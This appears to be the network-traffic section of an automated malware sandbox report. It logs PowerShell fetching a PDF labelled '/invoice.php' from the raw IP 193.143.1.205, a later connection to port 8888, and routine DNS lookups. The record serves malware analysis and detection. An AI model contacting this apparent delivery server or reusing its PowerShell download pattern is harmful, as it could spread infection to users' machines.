Jan 11, 2025 04:54:19.040941000 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040975094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040985107 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.057311058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.057368040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.057395935 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.057420015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.057471037 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.057502985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.057534933 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.057538033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.057553053 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.057570934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.057602882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.057617903 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.074414968 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.074465990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.074490070 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.074501038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.074533939 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.074558973 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.074568033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.074601889 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.074630022 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.074635983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.074683905 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.091792107 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.091805935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.091816902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.091828108 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.091867924 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.091886997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.091897964 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.091917992 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.091921091 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.091945887 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.091947079 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.091999054 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092008114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092019081 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092029095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092040062 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092050076 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092061043 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092078924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092089891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092101097 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092103004 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092139959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092139959 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092176914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092191935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092200994 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092211962 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092216969 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092241049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092247009 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092252970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092262983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092284918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092288017 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092314005 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092314959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092344046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092354059 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092365980 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092390060 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092397928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092410088 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092420101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092447042 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092479944 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092490911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092500925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092526913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092526913 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092542887 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092555046 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092586994 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092598915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092601061 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092627048 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092638016 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092648983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092657089 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092688084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092709064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092720032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092731953 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092747927 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092765093 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092788935 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092808962 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092820883 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092832088 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092858076 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092858076 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092870951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092881918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.092884064 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.092926979 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.093051910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093061924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093069077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093074083 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093084097 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093094110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093116045 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.093138933 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.093209028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093219995 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093230963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093240976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093250990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093274117 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.093290091 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093292952 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.093302011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093312979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.093317032 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.093360901 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.108762980 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.108773947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.108783960 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.108794928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.108807087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.108817101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.108855963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.108870029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.108880997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.108896971 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.108897924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.108908892 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.108913898 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.108916998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.108977079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.108987093 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.109004974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.109018087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.109028101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.109039068 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.109047890 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.109060049 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.109071016 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.109097958 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.129992962 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130044937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130094051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130105019 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.130145073 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130187035 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.130196095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130245924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130294085 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.130300999 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130330086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130354881 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130364895 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.130371094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130384922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130398989 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130410910 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.130413055 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130429029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130443096 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130445957 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.130459070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130471945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130475044 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.130482912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130492926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130501032 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.130503893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130516052 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130521059 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.130528927 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130539894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.130559921 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.130578041 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.147274971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.147286892 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.147295952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.147330999 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.147339106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.147349119 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.147367954 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.147387028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.147392035 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.147397995 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.147430897 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.164314985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.164366007 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.164400101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.164427042 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.164432049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.164465904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.164483070 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.164498091 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.164530993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.164544106 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.181699038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181719065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181729078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181752920 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.181765079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181766987 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.181778908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181790113 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181814909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181824923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181828976 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.181847095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181854010 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.181869030 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181879044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181890965 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.181894064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181905031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181910992 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.181927919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.181941032 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.222363949 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.301485062 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.312195063 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.510930061 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.921427965 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.929228067 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.929425955 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.929480076 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.935276985 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:20.729682922 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:20.784857035 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:21.198256016 CET	49706	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:54:33.212456942 CET	62799	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:54:46.545640945 CET	64895	53	192.168.2.5	1.1.1.1
Jan 11, 2025 04:54:58.990576029 CET	63912	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:54:33.212456942 CET	192.168.2.5	1.1.1.1	0x11a8	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:54:46.545640945 CET	192.168.2.5	1.1.1.1	0x3201	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:54:58.990576029 CET	192.168.2.5	1.1.1.1	0x75fa	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 04:54:33.221163034 CET	1.1.1.1	192.168.2.5	0x11a8	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:54:46.553957939 CET	1.1.1.1	192.168.2.5	0x3201	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:54:58.997689009 CET	1.1.1.1	192.168.2.5	0x75fa	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	193.143.1.205	80	1816	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:54:17.605552912 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 04:54:18.414931059 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:54:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:54:18.414953947 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:54:18.414968967 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 04:54:18.414980888 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 04:54:18.414990902 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 04:54:18.415003061 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 04:54:18.415013075 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
